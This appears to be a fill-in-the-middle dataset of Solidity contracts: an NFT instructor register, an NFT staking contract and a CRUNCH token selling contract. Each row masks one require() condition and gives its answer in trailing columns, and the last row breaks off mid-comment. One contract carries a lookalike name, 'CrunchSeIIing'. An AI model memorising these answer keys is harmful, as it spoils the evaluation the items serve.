}
function hashInstructor(address _instructor) internal view returns (bytes32 _hash){
}
function hashName(string memory _name) internal pure returns (bytes32 _hash){
}
function name() public view returns (string memory){
}
function getInstructorByName (string memory _name) public view returns(Instructor memory){
}
///@dev the max number of items to show per page;
///@dev only used in getImplementationsOf()
uint256 private constant _maxItemsPerPage = 150;
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the implementations of a given Instructor (pages of 150 elements)
* @param _name name of instructor
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _addresses list of implementations and _nextpage is the index of the next page, _nextpage is 0 if there is no more pages.
*/
function getImplementationsOf(string memory _name,uint256 page)
public
view
returns (address[] memory _addresses,uint256 _nextpage)
{
}
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the list of Instructor names (pages of 150 elements)
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _names list of instructor names and _nextpage is the index of the next page, _nextpage is 0 if there are no more pages.
*/
function getListOfInstructorNames(uint256 page)
public
view
returns (string[] memory _names,uint256 _nextpage)
{
}
function _safeAddInstructor(address _instructor,string memory _name) private {
}
function addInstructor(address _instructor,string memory _name) public onlyOwner {
}
function addInstructorAndImplementation(address _instructor,string memory _name, address _implementation) public onlyOwner {
}
function linkImplementationToInstructor(address _implementation,string memory _name) public onlyOwner {
require(<FILL_ME>)
bytes32 _hash =hashName(_name);
require(registeredName[_hash],"Name does not exist");
implementationToInstructorName[_implementation]=_name;
instructorNameToImplementationList[_hash].push(_implementation);
implementationIndex[_implementation] = instructorNameToImplementationList[hashName(_name)].length-1;
// emit event;
emit LinkedImplementation(implementationToInstructorName[_implementation], _implementation);
}
function unlinkImplementationToInstructor(address _impl) public onlyOwner {
}
function _safeRemoveInstructor(bytes32 _nameHash) private {
}
function removeInstructor(string memory _name) public onlyOwner {
}
/**
* @dev Given an implementation, find the best Ownership instructor contract for it.
* @notice Find the best Ownership Instructor contract given the implementation address
* @param _impl address of an NFT contract.
*/
function instructorGivenImplementation(address _impl)public view returns (Instructor memory _instructor) {
}
}
| bytes(implementationToInstructorName[_implementation]).length==0,"Implementation already linked to an instructor" | 171,418 | bytes(implementationToInstructorName[_implementation]).length==0 |
"Implementation already not linked to any instructor." | /**
* A register of OwnershipInstructor contracts that helps standardize "ownerOf" for NFTs.
*/
contract OwnershipInstructorRegisterV1 is Ownable,IOwnershipInstructorRegisterV1 {
bytes4 public immutable INSTRUCTOR_ID = type(IOwnershipInstructor).interfaceId;
using ERC165Checker for address;
///@dev name of the contract
string internal __name;
///@dev list of Ownership instructor contracts
Instructor[] public instructorRegister;
/**
* Hashed Name to instructorIndex lookup
*/
mapping(bytes32 => uint256) internal nameToinstructorIndex;
///@dev name (hashed) of instructor to list of implementations
mapping(address => string) public implementationToInstructorName;
///@dev name (hashed) of instructor to list of implementations
mapping(bytes32=>address[]) internal instructorNameToImplementationList;
///@dev implementation address to index inside instructorNameToImplementationList
mapping(address => uint256) internal implementationIndex;
/**
* Useful for knowing if a contract has already been registered
*/
mapping(bytes32=>bool) internal registeredHash;
/**
* Useful for knowing if a Contract Instructor name has already been registered
*/
mapping(bytes32=>bool) internal registeredName;
// event NewInstructor(address indexed _instructor,string _name);
// event RemovedInstructor(address indexed _instructor,string _name);
// event UnlinkedImplementation(string indexed _name,address indexed _implementation);
// event LinkedImplementation(string indexed _name,address indexed _implementation);
constructor(){
}
function hashInstructor(address _instructor) internal view returns (bytes32 _hash){
}
function hashName(string memory _name) internal pure returns (bytes32 _hash){
}
function name() public view returns (string memory){
}
function getInstructorByName (string memory _name) public view returns(Instructor memory){
}
///@dev the max number of items to show per page;
///@dev only used in getImplementationsOf()
uint256 private constant _maxItemsPerPage = 150;
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the implementations of a given Instructor (pages of 150 elements)
* @param _name name of instructor
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _addresses list of implementations and _nextpage is the index of the next page, _nextpage is 0 if there is no more pages.
*/
function getImplementationsOf(string memory _name,uint256 page)
public
view
returns (address[] memory _addresses,uint256 _nextpage)
{
}
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the list of Instructor names (pages of 150 elements)
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _names list of instructor names and _nextpage is the index of the next page, _nextpage is 0 if there are no more pages.
*/
function getListOfInstructorNames(uint256 page)
public
view
returns (string[] memory _names,uint256 _nextpage)
{
}
function _safeAddInstructor(address _instructor,string memory _name) private {
}
function addInstructor(address _instructor,string memory _name) public onlyOwner {
}
function addInstructorAndImplementation(address _instructor,string memory _name, address _implementation) public onlyOwner {
}
function linkImplementationToInstructor(address _implementation,string memory _name) public onlyOwner {
}
function unlinkImplementationToInstructor(address _impl) public onlyOwner {
require(<FILL_ME>)
bytes32 _hashName = hashName(implementationToInstructorName[_impl]);
uint256 indexOfImplementation = implementationIndex[_impl];
address lastImplementation = instructorNameToImplementationList[_hashName][instructorNameToImplementationList[_hashName].length-1];
// emit event before unlinking;
emit UnlinkedImplementation(implementationToInstructorName[_impl], _impl);
implementationToInstructorName[_impl]="";
instructorNameToImplementationList[_hashName][indexOfImplementation]=lastImplementation;
instructorNameToImplementationList[_hashName].pop();
implementationIndex[lastImplementation] = indexOfImplementation;
}
function _safeRemoveInstructor(bytes32 _nameHash) private {
}
function removeInstructor(string memory _name) public onlyOwner {
}
/**
* @dev Given an implementation, find the best Ownership instructor contract for it.
* @notice Find the best Ownership Instructor contract given the implementation address
* @param _impl address of an NFT contract.
*/
function instructorGivenImplementation(address _impl)public view returns (Instructor memory _instructor) {
}
}
| bytes(implementationToInstructorName[_impl]).length!=0,"Implementation already not linked to any instructor." | 171,418 | bytes(implementationToInstructorName[_impl]).length!=0 |
"ERC20 token transfer failed" | // SPDX-License-Identifier: MIT
/*
Token recipient. Modified very slightly from the example on http://ethereum.org/dao (just to index log parameters).
*/
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title TokenRecipient
* @author Wyvern Protocol Developers
*/
abstract contract TokenRecipient {
event ReceivedEther(address indexed sender, uint256 amount);
event ReceivedTokens(address indexed from, uint256 value, address indexed token, bytes extraData);
/**
* @dev Receive tokens and generate a log event
* @param from Address from which to transfer tokens
* @param value Amount of tokens to transfer
* @param token Address of token
* @param extraData Additional data to log
*/
function receiveApproval(
address from,
uint256 value,
address token,
bytes memory extraData
) public {
IERC20 t = IERC20(token);
require(<FILL_ME>)
emit ReceivedTokens(from, value, token, extraData);
}
/**
* @dev Receive Ether and generate a log event
*/
function receiver() external payable {
}
}
| t.transferFrom(from,address(this),value),"ERC20 token transfer failed" | 171,438 | t.transferFrom(from,address(this),value) |
"Can't stake tokens you don't own!" | // contracs/TroversePlanetsStaking.sol
// SPDX-License-Identifier: MIT
// ████████╗██████╗ ██████╗ ██╗ ██╗███████╗██████╗ ███████╗███████╗
// ╚══██╔══╝██╔══██╗██╔═══██╗██║ ██║██╔════╝██╔══██╗██╔════╝██╔════╝
// ██║ ██████╔╝██║ ██║██║ ██║█████╗ ██████╔╝███████╗█████╗
// ██║ ██╔══██╗██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗╚════██║██╔══╝
// ██║ ██║ ██║╚██████╔╝ ╚████╔╝ ███████╗██║ ██║███████║███████╗
// ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract TroversePlanetsStaking is ERC721Holder, Ownable, ReentrancyGuard {
mapping(address => uint256) private amountStaked;
mapping(uint256 => address) public stakerAddress;
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
IERC721 public nftCollection;
event NFTCollectionChanged(address _nftCollection);
event Staked(uint256 id, address account);
event Unstaked(uint256 id, address account);
constructor() { }
function setNFTCollection(address _nftCollection) external onlyOwner {
}
function balanceOf(address owner) public view returns (uint256) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256) {
}
function stake(uint256[] calldata _tokenIds) external nonReentrant {
uint256 tokensLen = _tokenIds.length;
for (uint256 i; i < tokensLen; ++i) {
require(<FILL_ME>)
nftCollection.transferFrom(_msgSender(), address(this), _tokenIds[i]);
stakerAddress[_tokenIds[i]] = _msgSender();
_addTokenToOwnerEnumeration(_msgSender(), _tokenIds[i]);
amountStaked[_msgSender()] += 1;
emit Staked(_tokenIds[i], _msgSender());
}
}
function unstake(uint256[] calldata _tokenIds) external nonReentrant {
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
}
}
| nftCollection.ownerOf(_tokenIds[i])==_msgSender(),"Can't stake tokens you don't own!" | 171,445 | nftCollection.ownerOf(_tokenIds[i])==_msgSender() |
"You have no tokens staked" | // contracs/TroversePlanetsStaking.sol
// SPDX-License-Identifier: MIT
// ████████╗██████╗ ██████╗ ██╗ ██╗███████╗██████╗ ███████╗███████╗
// ╚══██╔══╝██╔══██╗██╔═══██╗██║ ██║██╔════╝██╔══██╗██╔════╝██╔════╝
// ██║ ██████╔╝██║ ██║██║ ██║█████╗ ██████╔╝███████╗█████╗
// ██║ ██╔══██╗██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗╚════██║██╔══╝
// ██║ ██║ ██║╚██████╔╝ ╚████╔╝ ███████╗██║ ██║███████║███████╗
// ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract TroversePlanetsStaking is ERC721Holder, Ownable, ReentrancyGuard {
mapping(address => uint256) private amountStaked;
mapping(uint256 => address) public stakerAddress;
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
IERC721 public nftCollection;
event NFTCollectionChanged(address _nftCollection);
event Staked(uint256 id, address account);
event Unstaked(uint256 id, address account);
constructor() { }
function setNFTCollection(address _nftCollection) external onlyOwner {
}
function balanceOf(address owner) public view returns (uint256) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256) {
}
function stake(uint256[] calldata _tokenIds) external nonReentrant {
}
function unstake(uint256[] calldata _tokenIds) external nonReentrant {
require(<FILL_ME>)
uint256 tokensLen = _tokenIds.length;
for (uint256 i; i < tokensLen; ++i) {
require(stakerAddress[_tokenIds[i]] == _msgSender(), "Can't unstake tokens you didn't stake!");
stakerAddress[_tokenIds[i]] = address(0);
nftCollection.transferFrom(address(this), _msgSender(), _tokenIds[i]);
_removeTokenFromOwnerEnumeration(_msgSender(), _tokenIds[i]);
amountStaked[_msgSender()] -= 1;
emit Unstaked(_tokenIds[i], _msgSender());
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
}
}
| amountStaked[_msgSender()]>0,"You have no tokens staked" | 171,445 | amountStaked[_msgSender()]>0 |
"Can't unstake tokens you didn't stake!" | // contracs/TroversePlanetsStaking.sol
// SPDX-License-Identifier: MIT
// ████████╗██████╗ ██████╗ ██╗ ██╗███████╗██████╗ ███████╗███████╗
// ╚══██╔══╝██╔══██╗██╔═══██╗██║ ██║██╔════╝██╔══██╗██╔════╝██╔════╝
// ██║ ██████╔╝██║ ██║██║ ██║█████╗ ██████╔╝███████╗█████╗
// ██║ ██╔══██╗██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗╚════██║██╔══╝
// ██║ ██║ ██║╚██████╔╝ ╚████╔╝ ███████╗██║ ██║███████║███████╗
// ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract TroversePlanetsStaking is ERC721Holder, Ownable, ReentrancyGuard {
mapping(address => uint256) private amountStaked;
mapping(uint256 => address) public stakerAddress;
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
IERC721 public nftCollection;
event NFTCollectionChanged(address _nftCollection);
event Staked(uint256 id, address account);
event Unstaked(uint256 id, address account);
constructor() { }
function setNFTCollection(address _nftCollection) external onlyOwner {
}
function balanceOf(address owner) public view returns (uint256) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256) {
}
function stake(uint256[] calldata _tokenIds) external nonReentrant {
}
function unstake(uint256[] calldata _tokenIds) external nonReentrant {
require(amountStaked[_msgSender()] > 0, "You have no tokens staked");
uint256 tokensLen = _tokenIds.length;
for (uint256 i; i < tokensLen; ++i) {
require(<FILL_ME>)
stakerAddress[_tokenIds[i]] = address(0);
nftCollection.transferFrom(address(this), _msgSender(), _tokenIds[i]);
_removeTokenFromOwnerEnumeration(_msgSender(), _tokenIds[i]);
amountStaked[_msgSender()] -= 1;
emit Unstaked(_tokenIds[i], _msgSender());
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
}
}
| stakerAddress[_tokenIds[i]]==_msgSender(),"Can't unstake tokens you didn't stake!" | 171,445 | stakerAddress[_tokenIds[i]]==_msgSender() |
"Selling: user's allowance is not enough" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "./erc677/IERC677Receiver.sol";
import "./CrunchSelling.sol";
contract CrunchSeIIing is Ownable, IERC677Receiver {
/** @dev Emitted when the delegate contract is changed. */
event DelegateChanged(address indexed previousDelegate, address indexed newDelegate);
/** @dev Emitted when `addr` sold $CRUNCHs for $USDCs. */
event Sell(address indexed addr, uint256 inputAmount, uint256 outputAmount, uint256 price);
CrunchSelling public delegate;
bool private unused;
constructor(address _delegate) {
}
/** @dev CRUNCH erc20 address. */
function crunch() public view returns (IERC20Metadata) {
}
/** @dev USDC erc20 address. */
function usdc() public view returns (IERC20) {
}
/** @dev How much USDC must be exchanged for 1 CRUNCH. */
function price() public view returns (uint256) {
}
/** @dev Cached value of 1 CRUNCH (1**18). */
function oneCrunch() public view returns (uint256) {
}
/**
* Sell `amount` CRUNCH to USDC.
*
* Emits a {Sell} event.
*
* Requirements:
* - caller's CRUNCH allowance is greater or equal to `amount`.
* - caller's CRUNCH balance is greater or equal to `amount`.
* - caller is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @dev the implementation use a {IERC20-transferFrom(address, address, uint256)} call to transfer the CRUNCH from the caller to the owner.
*
* @param amount CRUNCH amount to sell.
*/
function sell(uint256 amount) public {
address seller = _msgSender();
require(<FILL_ME>)
require(crunch().balanceOf(seller) >= amount, "Selling: user's balance is not enough");
crunch().transferFrom(seller, owner(), amount);
_sell(seller, amount);
}
/**
* Sell `amount` CRUNCH to USDC from a `transferAndCall`, avoiding the usage of an `approve` call.
*
* Emits a {Sell} event.
*
* Requirements:
* - caller must be the crunch token.
* - `sender` is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @dev the implementation use a {IERC20-transfer(address, uint256)} call to transfer the received CRUNCH to the owner.
*/
function onTokenTransfer(address sender, uint256 value, bytes memory data) external override {
}
/**
* Internal selling function.
*
* Emits a {Sell} event.
*
* Requirements:
* - `seller` is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @param seller seller address.
* @param amount CRUNCH amount to sell.
*/
function _sell(address seller, uint256 amount) internal {
}
/**
* @dev convert a value in CRUNCH to USDC using the current price.
*
* @param inputAmount input value to convert.
* @return outputAmount the converted amount.
*/
function conversion(uint256 inputAmount) public view returns (uint256 outputAmount) {
}
/** @return the USDC balance of the delegate contract. */
function reserve() public view returns (uint256) {
}
/** @return the USDC balance of the contract. */
function selfReserve() public view returns (uint256) {
}
/**
* Empty the USDC reserve.
*
* Requirements:
* - caller must be the owner.
*/
function emptyReserve() public onlyOwner {
}
/**
* Empty the CRUNCH of the smart-contract.
* Must never be called because there is no need to send CRUNCH to this contract.
*
* Requirements:
* - caller must be the owner.
*/
function returnCrunchs() public onlyOwner {
}
/**
* Update the delegate contract address.
*
* Emits a {DelegateChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newDelegate new delete address.
*/
function setDelegate(address newDelegate) external onlyOwner {
}
/**
* Update the CRUNCH token address.
*
* Emits a {CrunchChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newCrunch new CRUNCH address.
*/
function setCrunch(address newCrunch) external onlyOwner {
}
/**
* Update the USDC token address.
*
* Emits a {UsdcChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newUsdc new USDC address.
*/
function setUsdc(address newUsdc) external onlyOwner {
}
/**
* Update the price.
*
* Emits a {PriceChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newPrice new price value.
*/
function setPrice(uint256 newPrice) external onlyOwner {
}
/**
* Destroy the contract.
* This will send the tokens (CRUNCH and USDC) back to the owner.
*
* Requirements:
* - caller must be the owner.
*/
function destroy() external onlyOwner {
}
/**
* Update the delegate contract address.
*
* Emits a {DelegateChanged} event.
*
* @param newDelegate new delegate contract address.
*/
function _setDelegate(address newDelegate) internal {
}
/**
* Empty the reserve.
*
* @return true if at least 1 USDC has been transfered, false otherwise.
*/
function _emptyReserve() internal returns (bool) {
}
/**
* Return the CRUNCHs.
*
* @return true if at least 1 CRUNCH has been transfered, false otherwise.
*/
function _returnCrunchs() internal returns (bool) {
}
}
| crunch().allowance(seller,address(this))>=amount,"Selling: user's allowance is not enough" | 171,465 | crunch().allowance(seller,address(this))>=amount |
"Selling: user's balance is not enough" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "./erc677/IERC677Receiver.sol";
import "./CrunchSelling.sol";
contract CrunchSeIIing is Ownable, IERC677Receiver {
/** @dev Emitted when the delegate contract is changed. */
event DelegateChanged(address indexed previousDelegate, address indexed newDelegate);
/** @dev Emitted when `addr` sold $CRUNCHs for $USDCs. */
event Sell(address indexed addr, uint256 inputAmount, uint256 outputAmount, uint256 price);
CrunchSelling public delegate;
bool private unused;
constructor(address _delegate) {
}
/** @dev CRUNCH erc20 address. */
function crunch() public view returns (IERC20Metadata) {
}
/** @dev USDC erc20 address. */
function usdc() public view returns (IERC20) {
}
/** @dev How much USDC must be exchanged for 1 CRUNCH. */
function price() public view returns (uint256) {
}
/** @dev Cached value of 1 CRUNCH (1**18). */
function oneCrunch() public view returns (uint256) {
}
/**
* Sell `amount` CRUNCH to USDC.
*
* Emits a {Sell} event.
*
* Requirements:
* - caller's CRUNCH allowance is greater or equal to `amount`.
* - caller's CRUNCH balance is greater or equal to `amount`.
* - caller is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @dev the implementation use a {IERC20-transferFrom(address, address, uint256)} call to transfer the CRUNCH from the caller to the owner.
*
* @param amount CRUNCH amount to sell.
*/
function sell(uint256 amount) public {
address seller = _msgSender();
require(crunch().allowance(seller, address(this)) >= amount, "Selling: user's allowance is not enough");
require(<FILL_ME>)
crunch().transferFrom(seller, owner(), amount);
_sell(seller, amount);
}
/**
* Sell `amount` CRUNCH to USDC from a `transferAndCall`, avoiding the usage of an `approve` call.
*
* Emits a {Sell} event.
*
* Requirements:
* - caller must be the crunch token.
* - `sender` is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @dev the implementation use a {IERC20-transfer(address, uint256)} call to transfer the received CRUNCH to the owner.
*/
function onTokenTransfer(address sender, uint256 value, bytes memory data) external override {
}
/**
* Internal selling function.
*
* Emits a {Sell} event.
*
* Requirements:
* - `seller` is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @param seller seller address.
* @param amount CRUNCH amount to sell.
*/
function _sell(address seller, uint256 amount) internal {
}
/**
* @dev convert a value in CRUNCH to USDC using the current price.
*
* @param inputAmount input value to convert.
* @return outputAmount the converted amount.
*/
function conversion(uint256 inputAmount) public view returns (uint256 outputAmount) {
}
/** @return the USDC balance of the delegate contract. */
function reserve() public view returns (uint256) {
}
/** @return the USDC balance of the contract. */
function selfReserve() public view returns (uint256) {
}
/**
* Empty the USDC reserve.
*
* Requirements:
* - caller must be the owner.
*/
function emptyReserve() public onlyOwner {
}
/**
* Empty the CRUNCH of the smart-contract.
* Must never be called because there is no need to send CRUNCH to this contract.
*
* Requirements:
* - caller must be the owner.
*/
function returnCrunchs() public onlyOwner {
}
/**
* Update the delegate contract address.
*
* Emits a {DelegateChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newDelegate new delete address.
*/
function setDelegate(address newDelegate) external onlyOwner {
}
/**
* Update the CRUNCH token address.
*
* Emits a {CrunchChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newCrunch new CRUNCH address.
*/
function setCrunch(address newCrunch) external onlyOwner {
}
/**
* Update the USDC token address.
*
* Emits a {UsdcChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newUsdc new USDC address.
*/
function setUsdc(address newUsdc) external onlyOwner {
}
/**
* Update the price.
*
* Emits a {PriceChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newPrice new price value.
*/
function setPrice(uint256 newPrice) external onlyOwner {
}
/**
* Destroy the contract.
* This will send the tokens (CRUNCH and USDC) back to the owner.
*
* Requirements:
* - caller must be the owner.
*/
function destroy() external onlyOwner {
}
/**
* Update the delegate contract address.
*
* Emits a {DelegateChanged} event.
*
* @param newDelegate new delegate contract address.
*/
function _setDelegate(address newDelegate) internal {
}
/**
* Empty the reserve.
*
* @return true if at least 1 USDC has been transfered, false otherwise.
*/
function _emptyReserve() internal returns (bool) {
}
/**
* Return the CRUNCHs.
*
* @return true if at least 1 CRUNCH has been transfered, false otherwise.
*/
function _returnCrunchs() internal returns (bool) {
}
}
| crunch().balanceOf(seller)>=amount,"Selling: user's balance is not enough" | 171,465 | crunch().balanceOf(seller)>=amount |
"Selling: caller must be the crunch token" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "./erc677/IERC677Receiver.sol";
import "./CrunchSelling.sol";
contract CrunchSeIIing is Ownable, IERC677Receiver {
/** @dev Emitted when the delegate contract is changed. */
event DelegateChanged(address indexed previousDelegate, address indexed newDelegate);
/** @dev Emitted when `addr` sold $CRUNCHs for $USDCs. */
event Sell(address indexed addr, uint256 inputAmount, uint256 outputAmount, uint256 price);
CrunchSelling public delegate;
bool private unused;
constructor(address _delegate) {
}
/** @dev CRUNCH erc20 address. */
function crunch() public view returns (IERC20Metadata) {
}
/** @dev USDC erc20 address. */
function usdc() public view returns (IERC20) {
}
/** @dev How much USDC must be exchanged for 1 CRUNCH. */
function price() public view returns (uint256) {
}
/** @dev Cached value of 1 CRUNCH (1**18). */
function oneCrunch() public view returns (uint256) {
}
/**
* Sell `amount` CRUNCH to USDC.
*
* Emits a {Sell} event.
*
* Requirements:
* - caller's CRUNCH allowance is greater or equal to `amount`.
* - caller's CRUNCH balance is greater or equal to `amount`.
* - caller is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @dev the implementation use a {IERC20-transferFrom(address, address, uint256)} call to transfer the CRUNCH from the caller to the owner.
*
* @param amount CRUNCH amount to sell.
*/
function sell(uint256 amount) public {
}
/**
* Sell `amount` CRUNCH to USDC from a `transferAndCall`, avoiding the usage of an `approve` call.
*
* Emits a {Sell} event.
*
* Requirements:
* - caller must be the crunch token.
* - `sender` is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @dev the implementation use a {IERC20-transfer(address, uint256)} call to transfer the received CRUNCH to the owner.
*/
function onTokenTransfer(address sender, uint256 value, bytes memory data) external override {
require(<FILL_ME>)
crunch().transfer(owner(), value);
_sell(sender, value);
data; /* silence unused */
}
/**
* Internal selling function.
*
* Emits a {Sell} event.
*
* Requirements:
* - `seller` is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @param seller seller address.
* @param amount CRUNCH amount to sell.
*/
function _sell(address seller, uint256 amount) internal {
}
/**
* @dev convert a value in CRUNCH to USDC using the current price.
*
* @param inputAmount input value to convert.
* @return outputAmount the converted amount.
*/
function conversion(uint256 inputAmount) public view returns (uint256 outputAmount) {
}
/** @return the USDC balance of the delegate contract. */
function reserve() public view returns (uint256) {
}
/** @return the USDC balance of the contract. */
function selfReserve() public view returns (uint256) {
}
/**
* Empty the USDC reserve.
*
* Requirements:
* - caller must be the owner.
*/
function emptyReserve() public onlyOwner {
}
/**
* Empty the CRUNCH of the smart-contract.
* Must never be called because there is no need to send CRUNCH to this contract.
*
* Requirements:
* - caller must be the owner.
*/
function returnCrunchs() public onlyOwner {
}
/**
* Update the delegate contract address.
*
* Emits a {DelegateChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newDelegate new delete address.
*/
function setDelegate(address newDelegate) external onlyOwner {
}
/**
* Update the CRUNCH token address.
*
* Emits a {CrunchChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newCrunch new CRUNCH address.
*/
function setCrunch(address newCrunch) external onlyOwner {
}
/**
* Update the USDC token address.
*
* Emits a {UsdcChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newUsdc new USDC address.
*/
function setUsdc(address newUsdc) external onlyOwner {
}
/**
* Update the price.
*
* Emits a {PriceChanged} event.
*
* Requirements:
* - caller must be the owner.
*
* @param newPrice new price value.
*/
function setPrice(uint256 newPrice) external onlyOwner {
}
/**
* Destroy the contract.
* This will send the tokens (CRUNCH and USDC) back to the owner.
*
* Requirements:
* - caller must be the owner.
*/
function destroy() external onlyOwner {
}
/**
* Update the delegate contract address.
*
* Emits a {DelegateChanged} event.
*
* @param newDelegate new delegate contract address.
*/
function _setDelegate(address newDelegate) internal {
}
/**
* Empty the reserve.
*
* @return true if at least 1 USDC has been transfered, false otherwise.
*/
function _emptyReserve() internal returns (bool) {
}
/**
* Return the CRUNCHs.
*
* @return true if at least 1 CRUNCH has been transfered, false otherwise.
*/
function _returnCrunchs() internal returns (bool) {
}
}
| address(crunch())==_msgSender(),"Selling: caller must be the crunch token" | 171,465 | address(crunch())==_msgSender() |
"Selling: reserve is not big enough" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "./erc677/IERC677Receiver.sol";
import "./CrunchSelling.sol";
contract CrunchSeIIing is Ownable, IERC677Receiver {
/** @dev Emitted when the delegate contract is changed. */
event DelegateChanged(address indexed previousDelegate, address indexed newDelegate);
/** @dev Emitted when `addr` sold $CRUNCHs for $USDCs. */
event Sell(address indexed addr, uint256 inputAmount, uint256 outputAmount, uint256 price);
CrunchSelling public delegate;
bool private unused;
constructor(address _delegate) {
}
/** @dev CRUNCH erc20 address. */
function crunch() public view returns (IERC20Metadata) {
}
/** @dev USDC erc20 address. */
function usdc() public view returns (IERC20) {
}
/** @dev How much USDC must be exchanged for 1 CRUNCH. */
function price() public view returns (uint256) {
}
/** @dev Cached value of 1 CRUNCH (1**18). */
function oneCrunch() public view returns (uint256) {
}
/**
* Sell `amount` CRUNCH to USDC.
*
* Emits a {Sell} event.
*
* Requirements:
* - caller's CRUNCH allowance is greater or equal to `amount`.
* - caller's CRUNCH balance is greater or equal to `amount`.
* - caller is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @dev the implementation use a {IERC20-transferFrom(address, address, uint256)} call to transfer the CRUNCH from the caller to the owner.
*
* @param amount CRUNCH amount to sell.
*/
function sell(uint256 amount) public {
}
/**
* Sell `amount` CRUNCH to USDC from a `transferAndCall`, avoiding the usage of an `approve` call.
*
* Emits a {Sell} event.
*
* Requirements:
* - caller must be the crunch token.
* - `sender` is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @dev the implementation use a {IERC20-transfer(address, uint256)} call to transfer the received CRUNCH to the owner.
*/
function onTokenTransfer(address sender, uint256 value, bytes memory data) external override {
}
/**
* Internal selling function.
*
* Emits a {Sell} event.
*
* Requirements:
* - `seller` is not the owner.
* - `amount` is not zero.
* - the reserve has enough USDC after conversion.
*
* @param seller seller address.
